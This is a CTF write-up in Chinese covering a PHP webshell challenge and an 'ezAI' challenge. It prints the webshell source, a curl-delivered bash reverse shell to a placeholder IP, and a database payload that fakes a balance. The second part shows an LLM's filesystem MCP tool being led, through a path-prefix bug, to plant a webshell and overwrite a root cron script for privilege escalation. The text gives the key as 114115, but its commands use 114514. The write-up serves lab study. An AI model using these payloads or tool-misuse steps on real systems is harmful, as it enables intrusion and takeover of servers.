[阶段 1] 05_em_v_CFK 题干: 继某两所大学校内餐厅被黑后,终于考上大学的小明也想'逝世',但是他遇到了一些困难于是请求你的帮助。他给你留了一个 webshell,并给你的一条线索,去帮他完成吧。
靶机展示 我们只有$3,Golden Flag 需要 $50。初尝试了下抓包修改等均无效,根据题干看没那么简单。
信息收集
源码存在如下隐藏信息,解码可知内容为:我上传了个 shell.php, 带上 show 参数 get 小明的圣遗物吧。
此外经爆破靶机存在如下 文件/目录:index.php, connect.php, /uploads/shell.php(要带参数访问)。
第二层 php 源码及审计 根据小明提示,访问他的后门并加参数 show,我们得到了源码。$pass 是 md5 比较简单,随便什么解密网站基本都能直接爆出来是 114115。
<?php
if (isset ($_GET ['show' ])){highlight_file (__FILE__ );}
$pass ='c4d038b4bed09fdb1471ef51ec3a32cd' ;
if (isset ($_POST ['key' ])&&md5 ($_POST ['key' ])===$pass ){
if (isset ($_POST ['cmd' ])){system ($_POST ['cmd' ]);}
elseif (isset ($_POST ['code' ])){eval ($_POST ['code' ]);}
}else {http_response_code (404 );}
?>
弹个 shell curl -X POST http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "cmd=bash -c 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"
index.php 源码分析 可以看到 $my_money 代码写死是 3.00 也就是我们页面上看到的余额。
connect.php 逻辑 这个文件具体代码不贴了,是比较复杂的加密逻辑,用于链接数据库,本轮想直接破解的,但感觉难度较大,我们绕过直接打数据库吧。
攻击思路 根据下面的代码,可以看到, $my_money 在 index.php 中直接写入了 3.00 元不过文件没有权限改写,但是 $pdo 是数据库链接对象,我们可以通过 webshell 的 code 直接 include。
利用代码层构造如下 payload 且通过 webshell 的 code 参数传入,传入购买 id=3 的商品时告诉后端我们有100.00元,足够支付 flag 价格。
curl -s http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "code=include '../connect.php'; \$stmt = \$pdo->prepare('CALL buy_item(?, ?)'); \$stmt->execute([3, 100.00]); print_r(\$stmt->fetch());"
[MISC][阶段 2] ezAI 这道题虽然是 MISC 但依旧用到了 WEB 的渗透手法。
靶机展示
攻击思路 这个靶机并不是把 flag 告诉大模型后,再用 system prompt把 flag 设置成 TOP-SECRET 禁止模型向所有人透露,而是要求读取到系统内的文件,所以需要用渗透的手法打到服务器里面,然后再想办法。根据题干透露的信息我们到 MCPJS 查阅安装的插件可以看到,接入的 MCP 目前具备读取文件/文件夹,写入/移动文件,以及 list_allowed_directories 等能力。
攻击步骤--打点阶段
我们先用 list_allowed_directories 查看下 MCP 可以控制的文件夹,显示出的目录是 /var/www/h。
尝试让 MCP 把 phpinfo() 写入文件成功,但是访问发现 404,因为写入的是 /var/www/h/1.php。
尝试写入 /var/www/html,考虑到服务器是 apache 尝试往其默认目录 /var/www/html 写写看文件,发现写入成功,并且可以访问到。
写入一句话木马并访问,成功 getshell。
攻击步骤--后渗透阶段
查找 flag,根据题干 flag 在 /root 下面,查看了下是没权限访问的,所以后面还要想办法提权。
先看下 /var/www 文件夹到底是怎么回事,的确是有 2 个文件夹 h 和 html,单看权限的话 user:www-data 只能操作 html 文件夹,而 user:mcp 可以同时操作这 2 个文件夹的内容。
ps -aux 查看进程,我们看到 user:root 用 su -s /bin/bash 让 user:mcp 执行了 node 启动了 mcp 服务,同时把流量转发到了本地的 1337 端口,而且 mcp 服务的目录的确是 /var/www/h 文件夹。
内网信息收集,收集到任务计划的时候,我们看到 php 这个任务计划,是每分钟让 root 执行一次 /usr/lib/php/sessionclean 脚本,而碰巧这个脚本是 user:mcp 可以 rwx 的。
getshell 提权,根据上面的思路,我们创建个软连接指向 /usr/lib/php/sessionclean 然后发指令让 MCP 修改成 revshell,然后让 user:root 定期执行任务的时候执行即可。
静等一分钟,看到反弹回来了 root 权限的账号,到 /root 中可以找到 flag。
漏洞原因 为什么 mcp server 指定的目录是 /var/www/h 但是可以修改 /var/www/html 中的内容?导致这个服务器被攻击者可以从对话这里就写入 webshell 打开了突破口?我们调试下靶机,在 /var/www/ 文件夹中创建其他文件夹测试下,实验可知,虽然这 2 个文件夹不是 allowed_directories 但是 MCP 依旧可以访问并且可以操作。目前的配置下我们得出的结论,只要是 /var/www/h 开头的文件夹是可以被 mcp 操作的。问题代码在 /opt/mcp-server/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js 文件的的第 50 行左右。
async function validatePath (requestedPath ) {
const isAllowed = allowedDirectories.some (dir => normalizedRequested.startsWith (dir));
if (!isAllowed) { throw new Error (`Access denied - path outside allowed directories: ${absolute} not in ${allowedDirectories.join(', ' )} ` ); }
}
相关免费在线工具 RSA密钥对生成器 生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online
Keycode 信息 查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
Escape 与 Native 编解码 JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
Mermaid 预览与可视化编辑 基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online
JavaScript / HTML 格式化 使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
JavaScript 压缩与混淆 Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online